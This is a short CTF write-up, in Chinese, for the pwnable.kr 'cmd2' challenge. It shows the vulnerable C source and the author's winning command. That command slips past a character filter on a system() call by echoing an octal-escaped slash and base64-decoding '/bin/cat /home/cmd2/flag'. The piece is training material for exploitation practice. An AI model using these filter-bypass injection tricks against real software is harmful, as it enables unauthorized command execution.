writeup - pwnable.kr - cmd2

link

正題

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

這題算是簡單的題目,問題出在 PATH 不能用和限制指令可使用的字串內容。我一開始的思路很簡單,先把指令用 base64 編碼後,解碼再執行就好了,執行程式則直接 cd 到 /usr/bin 過去。這個時候遇到的問題是要如何執行程式,因爲 / 符號被擋掉了。在網路上搜需一下就可以找到用編碼 echo 出字元的方法,然後就萬事 OK 了 (這樣可以用一次 echo 就好,不然也是可以硬拼出 /bin/cat /home/cmd2/flag)。

由於 echo 的實作都有些微的差異,下面是實驗出來的結果:

$ ./cmd2 "echo \"\57\""
/

配上編碼過的東西 (要注意,base64 編碼會用 = 補齊不足的字元,在欲編碼的指令內塞些空白就可以除去這些等於符號)

$ echo "/bin/cat   /home/cmd2/flag" | base64
L2Jpbi9jYXQgICAvaG9tZS9jbWQyL2ZsYWcK

然後是過關指令

./cmd2 'cd ..; cd ..; cd ..; cd usr; cd bin; $(echo "L2Jpbi9jYXQgICAvaG9tZS9jbWQyL2ZsYWcK" | .$(echo "\57")base64 -d)'

這題要注意的是在 shll 指令內使用 '" 的差異。用 ' 包起來的東西,shell 會原封不動丟給要求的程式,用 " 時 shell 則會嘗試看有無可解開的東西,像是 $() 包住的指令。

Comments

comments powered by Disqus